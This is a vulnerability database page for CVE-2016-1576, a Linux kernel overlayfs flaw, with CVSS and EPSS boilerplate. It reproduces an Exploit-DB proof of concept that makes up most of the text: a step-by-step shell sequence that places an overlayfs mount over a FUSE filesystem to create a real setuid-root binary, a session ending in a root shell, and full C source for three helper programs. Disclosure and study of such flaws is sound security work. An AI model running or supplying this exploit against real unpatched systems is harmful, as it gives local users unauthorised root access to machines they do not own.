CVE-2016-1576 Detail

CVE-2016-1576

Score / Severity

7.8

High

EPSS

0.04%V3

Vector

Local

Published

2016-05-02
08h00 +00:00

Modified

2021-10-18
18h06 +00:00

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CVE.org

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CVE Descriptions

The overlayfs implementation in the Linux kernel through 4.5.2 does not properly restrict the mount namespace, which allows local users to gain privileges by mounting an overlayfs filesystem on top of a FUSE filesystem, and then executing a crafted setuid program.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE Other	No informations.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 41763

Publication date : 2016-11-21 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/ ## Introduction Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk. ## Methods Basic exploitation sequence is: - Mount fuse filesystem exposing one world writable SUID binary - Create USERNS - Mount overlayfs on top of fuse - Open the SUID binary RDWR in overlayfs, thus triggering copy_up This can be archived, e.g. SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c) FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c) UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) test# mkdir fuse test# mv SuidExec RealFile test# ./FuseMinimal fuse test# ./UserNamespaceExec -- /bin/bash root# mkdir mnt upper work root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt root# touch mnt/file touch: setting times of ‘mnt/file’: Permission denied root# umount mnt root# exit test# fusermount -u fuse test# ls -al upper/file -rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file test# upper/file /bin/bash root# id uid=0(root) gid=100(users) groups=100(users) --- SuidExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool changes to uid/gid 0 and executes the program supplied * via arguments. */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv) { if(argc<2) { fprintf(stderr, "Usage: %s [execargs]\n", argv[0]); return(1); } int rUid, eUid, sUid, rGid, eGid, sGid; getresuid(&rUid, &eUid, &sUid); getresgid(&rGid, &eGid, &sGid); if(setresuid(sUid, sUid, rUid)) { fprintf(stderr, "Failed to set uids\n"); return(1); } if(setresgid(sGid, sGid, rGid)) { fprintf(stderr, "Failed to set gids\n"); return(1); } execve(argv[1], argv+1, environ); return(1); } --- EOF --- --- FuseMinimal.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * Minimal userspace file system demo, compile using * gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse * * See also /usr/include/fuse/fuse.h */ #define FUSE_USE_VERSION 28 #include <errno.h> #include <fuse.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static FILE *logFile; static char *fileNameNormal="/file"; static char *fileNameCharDev="/chardev"; static char *fileNameNormalSubFile="/dir/file"; static char *realFileName="./RealFile"; static int realFileHandle=-1; static int io_getattr(const char *path, struct stat *stbuf) { fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n", path, stbuf); fflush(logFile); int res=-ENOENT; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode=S_IFDIR|0755; stbuf->st_nlink=2; res=0; } else if(strcmp(path, fileNameCharDev)==0) { // stbuf->st_dev=makedev(5, 2); stbuf->st_mode=S_IFCHR|0777; stbuf->st_rdev=makedev(5, 2); stbuf->st_nlink=1; // Number of hard links stbuf->st_size=100; res=0; } else if(strcmp(path, "/dir")==0) { stbuf->st_mode=S_IFDIR|S_ISGID|0777; stbuf->st_nlink=1; // Number of hard links stbuf->st_size=1<<12; res=0; } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; if(realFileName) { if(fstat(realFileHandle, stbuf)) { fprintf(logFile, "Stat of %s failed, error %d (%s)\n", realFileName, errno, strerror(errno)); } else { // Just change uid/suid, which is far more interesting during testing stbuf->st_mode|=S_ISUID; stbuf->st_uid=0; stbuf->st_gid=0; } } else { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; } stbuf->st_nlink=1; // Number of hard links res=0; } return(res); } static int io_readlink(const char *path, char *buffer, size_t length) { fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n", path, buffer, (long)length); fflush(logFile); return(-1); } static int io_unlink(const char *path) { fprintf(logFile, "io_unlink(path=\"%s\")\n", path); fflush(logFile); return(0); } static int io_rename(const char *oldPath, const char *newPath) { fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n", oldPath, newPath); fflush(logFile); return(0); } static int io_chmod(const char *path, mode_t mode) { fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_chown(const char *path, uid_t uid, gid_t gid) { fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid); fflush(logFile); return(0); } /** Open a file. This function checks access permissions and may * associate a file info structure for future access. * @returns 0 when open OK */ static int io_open(const char *path, struct fuse_file_info *fi) { fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi); fflush(logFile); return(0); } static int io_read(const char *path, char *buffer, size_t length, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n", path, buffer, (long)length, (long)offset, fi); fflush(logFile); if(length<0) return(-1); if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { if(!realFileName) { if((offset<0)||(offset>4)) return(-1); if(offset+length>4) length=4-offset; if(length>0) memcpy(buffer, "xxxx", length); return(length); } if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) { fprintf(stderr, "read: seek on %s failed\n", path); return(-1); } return(read(realFileHandle, buffer, length)); } return(-1); } static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n", path, buf, filler, ((long)offset), fi); fflush(logFile); (void) offset; (void) fi; if(!strcmp(path, "/")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, fileNameCharDev+1, NULL, 0); filler(buf, "dir", NULL, 0); filler(buf, fileNameNormal+1, NULL, 0); return(0); } else if(!strcmp(path, "/dir")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, "file", NULL, 0); return(0); } return -ENOENT; } static int io_access(const char *path, int mode) { fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_ioctl(const char *path, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data) { fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n", path, cmd, arg, fi, flags, data); fflush(logFile); return(0); } static struct fuse_operations hello_oper = { .getattr = io_getattr, .readlink = io_readlink, // .getdir = deprecated // .mknod // .mkdir .unlink = io_unlink, // .rmdir // .symlink .rename = io_rename, // .link .chmod = io_chmod, .chown = io_chown, // .truncate // .utime .open = io_open, .read = io_read, // .write // .statfs // .flush // .release // .fsync // .setxattr // .getxattr // .listxattr // .removexattr // .opendir .readdir = io_readdir, // .releasedir // .fsyncdir // .init // .destroy .access = io_access, // .create // .ftruncate // .fgetattr // .lock // .utimens // .bmap .ioctl = io_ioctl, // .poll }; int main(int argc, char *argv[]) { char buffer[128]; realFileHandle=open(realFileName, O_RDWR); if(realFileHandle<0) { fprintf(stderr, "Failed to open %s\n", realFileName); exit(1); } snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid()); logFile=fopen(buffer, "a"); if(!logFile) { fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno)); return(1); } fprintf(logFile, "Starting fuse init\n"); fflush(logFile); return fuse_main(argc, argv, &hello_oper, NULL); } --- EOF --- --- UserNamespaceExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015-2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool creates a new namespace, initialize the uid/gid * map and execute the program given as argument. This is similar * to unshare(1) from newer util-linux packages. * * gcc -o UserNamespaceExec UserNamespaceExec.c * * Usage: UserNamespaceExec [options] -- [program] [args] * * * --NoSetGroups: do not disable group chanages * * --NoSetGidMap: * * --NoSetUidMap: */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> extern char **environ; static int childFunc(void *arg) { int parentPid=getppid(); fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while((geteuid()!=0)&&(parentPid==getppid())) { sleep(1); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=execve(((char**)arg)[0], (char**)arg, environ); fprintf(stderr, "Exec failed\n"); return(1); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int noSetGroupsFlag=0; int setGidMapFlag=1; int setUidMapFlag=1; int result; for(argPos=1; argPos<argc; argPos++) { char *argName=argv[argPos]; if(!strcmp(argName, "--")) { argPos++; break; } if(strncmp(argName, "--", 2)) { break; } if(!strcmp(argName, "--NoSetGidMap")) { setGidMapFlag=0; continue; } if(!strcmp(argName, "--NoSetGroups")) { noSetGroupsFlag=1; continue; } if(!strcmp(argName, "--NoSetUidMap")) { setUidMapFlag=0; continue; } fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName); exit(1); } // Create child; child commences execution in childFunc() // CLONE_NEWNS: new mount namespace // CLONE_NEWPID // CLONE_NEWUTS pid_t pid=clone(childFunc, child_stack+STACK_SIZE, CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos); if(pid==-1) { fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno)); return(1); } char idMapFileName[128]; char idMapData[128]; if(!noSetGroupsFlag) { sprintf(idMapFileName, "/proc/%d/setgroups", pid); int setGroupsFd=open(idMapFileName, O_WRONLY); if(setGroupsFd<0) { fprintf(stderr, "Failed to open setgroups\n"); return(1); } result=write(setGroupsFd, "deny", 4); if(result<0) { fprintf(stderr, "Failed to disable setgroups\n"); return(1); } close(setGroupsFd); } if(setUidMapFlag) { sprintf(idMapFileName, "/proc/%d/uid_map", pid); fprintf(stderr, "Setting uid map in %s\n", idMapFileName); int uidMapFd=open(idMapFileName, O_WRONLY); if(uidMapFd<0) { fprintf(stderr, "Failed to open uid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(uidMapFd); } if(setGidMapFlag) { sprintf(idMapFileName, "/proc/%d/gid_map", pid); fprintf(stderr, "Setting gid map in %s\n", idMapFileName); int gidMapFd=open(idMapFileName, O_WRONLY); if(gidMapFd<0) { fprintf(stderr, "Failed to open gid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); if(result<0) { if(noSetGroupsFlag) { fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno)); } else { fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } } close(gidMapFd); } if(waitpid(pid, NULL, 0)==-1) { fprintf(stderr, "Wait failed\n"); return(1); } return(0); } --- EOF ---